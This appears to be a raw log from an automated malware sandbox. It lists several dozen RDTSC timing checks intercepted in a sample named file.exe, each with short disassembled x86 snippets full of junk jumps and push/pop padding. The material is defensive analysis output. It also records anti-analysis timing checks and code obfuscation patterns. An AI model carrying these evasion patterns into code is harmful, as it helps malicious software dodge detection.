Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305935 second address: 1305950 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F9F60D14446h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jp 00007F9F60D14446h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305950 second address: 1305964 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60E618BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305964 second address: 1305968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1315DC6 second address: 1315DCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1315DCA second address: 1315DD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1315DD0 second address: 1315DD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13230C4 second address: 13230CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13230CA second address: 13230CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1323C03 second address: 1323C09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1323C09 second address: 1323C23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F60E618C4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1323E92 second address: 1323E98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1323E98 second address: 1323EAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F9F60E618C0h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1323EAD second address: 1323EC6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F9F60D1444Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F2A6C second address: 12F2A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1324BA5 second address: 1324BC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edi 0x00000006 jmp 00007F9F60D14454h 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1324BC0 second address: 1324BCA instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9F60E618BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1324D3E second address: 1324D54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9F60D14452h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132A089 second address: 132A08D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1328C1A second address: 1328C2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9F60D1444Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F6053 second address: 12F6057 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1330914 second address: 1330942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F60D14459h 0x00000009 jbe 00007F9F60D14446h 0x0000000f jng 00007F9F60D14446h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1330AB8 second address: 1330ABE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1330ABE second address: 1330AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1330AC2 second address: 1330AC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1330F11 second address: 1330F28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60D14453h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133124D second address: 1331278 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60E618BBh 0x00000007 jng 00007F9F60E618C2h 0x0000000d jns 00007F9F60E618B6h 0x00000013 jnc 00007F9F60E618B6h 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d js 00007F9F60E618B8h 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1333304 second address: 1333308 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1333568 second address: 133356D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133363A second address: 1333644 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9F60D14446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1333644 second address: 133364A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1333700 second address: 1333706 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1333706 second address: 133370A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133370A second address: 1333719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1333719 second address: 133371F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1333CB6 second address: 1333CC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F9F60D1444Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1333CC3 second address: 1333CF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jg 00007F9F60E618C2h 0x0000000c xchg eax, ebx 0x0000000d nop 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F9F60E618C7h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13341FF second address: 1334203 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1334203 second address: 1334209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1334209 second address: 1334213 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9F60D1444Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13351EA second address: 13351EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13351EE second address: 13351F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133795C second address: 133796B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007F9F60E618B6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1338DFA second address: 1338DFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1338DFE second address: 1338E74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60E618C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a nop 0x0000000b mov edi, dword ptr [ebp+122D22AEh] 0x00000011 push 00000000h 0x00000013 mov di, dx 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007F9F60E618B8h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 mov si, 8D6Ah 0x00000036 mov dword ptr [ebp+122D2C98h], esi 0x0000003c xchg eax, ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 jmp 00007F9F60E618C4h 0x00000045 jmp 00007F9F60E618BCh 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1338E74 second address: 1338E91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60D14454h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133B6B9 second address: 133B6BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133A041 second address: 133A046 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133B6BD second address: 133B6C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133A046 second address: 133A05F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F9F60D1444Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133B6C1 second address: 133B6C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133A05F second address: 133A064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133B6C7 second address: 133B6CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133B6CD second address: 133B6D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133B6D2 second address: 133B6E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 pushad 0x0000000a jns 00007F9F60E618B6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133E633 second address: 133E638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D6C9 second address: 133D6CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D6CD second address: 133D6D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D6D1 second address: 133D766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 sbb bh, FFFFFFE6h 0x0000000b push dword ptr fs:[00000000h] 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007F9F60E618B8h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c je 00007F9F60E618B7h 0x00000032 cld 0x00000033 movsx edi, ax 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d push 00000000h 0x0000003f push ecx 0x00000040 call 00007F9F60E618B8h 0x00000045 pop ecx 0x00000046 mov dword ptr [esp+04h], ecx 0x0000004a add dword ptr [esp+04h], 00000014h 0x00000052 inc ecx 0x00000053 push ecx 0x00000054 ret 0x00000055 pop ecx 0x00000056 ret 0x00000057 mov eax, dword ptr [ebp+122D0199h] 0x0000005d add edi, 09EF7F7Ch 0x00000063 push FFFFFFFFh 0x00000065 mov edi, edx 0x00000067 nop 0x00000068 jmp 00007F9F60E618C3h 0x0000006d push eax 0x0000006e push eax 0x0000006f push edx 0x00000070 jp 00007F9F60E618BCh 0x00000076 jns 00007F9F60E618B6h 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D766 second address: 133D76B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F6E5 second address: 133F718 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9F60E618B8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov di, ax 0x00000012 push 00000000h 0x00000014 mov dword ptr [ebp+12488632h], esi 0x0000001a push 00000000h 0x0000001c cmc 0x0000001d xchg eax, esi 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F9F60E618C3h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1342805 second address: 134280A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13419EA second address: 13419EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13428B1 second address: 13428B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13438A8 second address: 1343926 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9F60E618B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov dword ptr [esp], eax 0x0000000e sub dword ptr [ebp+122D2CF3h], ecx 0x00000014 add di, A57Ch 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007F9F60E618B8h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 00000018h 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 mov dword ptr [ebp+122D2133h], ecx 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push ecx 0x00000040 call 00007F9F60E618B8h 0x00000045 pop ecx 0x00000046 mov dword ptr [esp+04h], ecx 0x0000004a add dword ptr [esp+04h], 00000018h 0x00000052 inc ecx 0x00000053 push ecx 0x00000054 ret 0x00000055 pop ecx 0x00000056 ret 0x00000057 add edi, 4260977Fh 0x0000005d xchg eax, esi 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007F9F60E618C2h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1343926 second address: 1343930 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F9F60D14446h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1343930 second address: 134393E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134393E second address: 1343942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344A79 second address: 1344A7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344C19 second address: 1344C1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344C1D second address: 1344C37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60E618C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344C37 second address: 1344C3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1346B86 second address: 1346B97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F9F60E618B8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1346B97 second address: 1346B9C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344D04 second address: 1344D08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1346B9C second address: 1346BF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov bx, di 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F9F60D14448h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 mov di, ax 0x0000002a push edi 0x0000002b mov edi, 71CC6F81h 0x00000030 pop edi 0x00000031 push 00000000h 0x00000033 mov bx, ax 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 jl 00007F9F60D1445Bh 0x0000003f jmp 00007F9F60D14455h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344D08 second address: 1344D0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1346BF4 second address: 1346BFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344D0E second address: 1344D22 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jbe 00007F9F60E618B6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344D22 second address: 1344D27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1347B62 second address: 1347B66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1347B66 second address: 1347B6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1347CBA second address: 1347D33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edi 0x00000008 mov dword ptr [esp], eax 0x0000000b xor dword ptr [ebp+12461042h], ebx 0x00000011 push dword ptr fs:[00000000h] 0x00000018 mov dword ptr fs:[00000000h], esp 0x0000001f mov edi, dword ptr [ebp+122D2C98h] 0x00000025 pushad 0x00000026 or eax, dword ptr [ebp+122D38A8h] 0x0000002c sub dword ptr [ebp+1248FF13h], ebx 0x00000032 popad 0x00000033 mov eax, dword ptr [ebp+122D0F1Dh] 0x00000039 mov dword ptr [ebp+122D5B95h], ebx 0x0000003f mov dword ptr [ebp+122D3553h], ebx 0x00000045 push FFFFFFFFh 0x00000047 push 00000000h 0x00000049 push ebx 0x0000004a call 00007F9F60E618B8h 0x0000004f pop ebx 0x00000050 mov dword ptr [esp+04h], ebx 0x00000054 add dword ptr [esp+04h], 00000017h 0x0000005c inc ebx 0x0000005d push ebx 0x0000005e ret 0x0000005f pop ebx 0x00000060 ret 0x00000061 nop 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007F9F60E618C0h 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1348D8B second address: 1348D96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F9F60D14446h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1347D33 second address: 1347D38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1349E3D second address: 1349E43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1348D96 second address: 1348DA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1347D38 second address: 1347D64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F60D1444Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F9F60D14455h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134AB48 second address: 134ABD7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F9F60E618B8h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 adc ebx, 3ECEE91Ch 0x0000002a or dword ptr [ebp+122D1B5Ch], ecx 0x00000030 jo 00007F9F60E618B6h 0x00000036 push 00000000h 0x00000038 ja 00007F9F60E618B6h 0x0000003e jmp 00007F9F60E618C1h 0x00000043 push 00000000h 0x00000045 mov dword ptr [ebp+122D2DE9h], esi 0x0000004b sbb ebx, 48EE9F7Ah 0x00000051 xchg eax, esi 0x00000052 jmp 00007F9F60E618BFh 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007F9F60E618C9h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1349E43 second address: 1349E47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
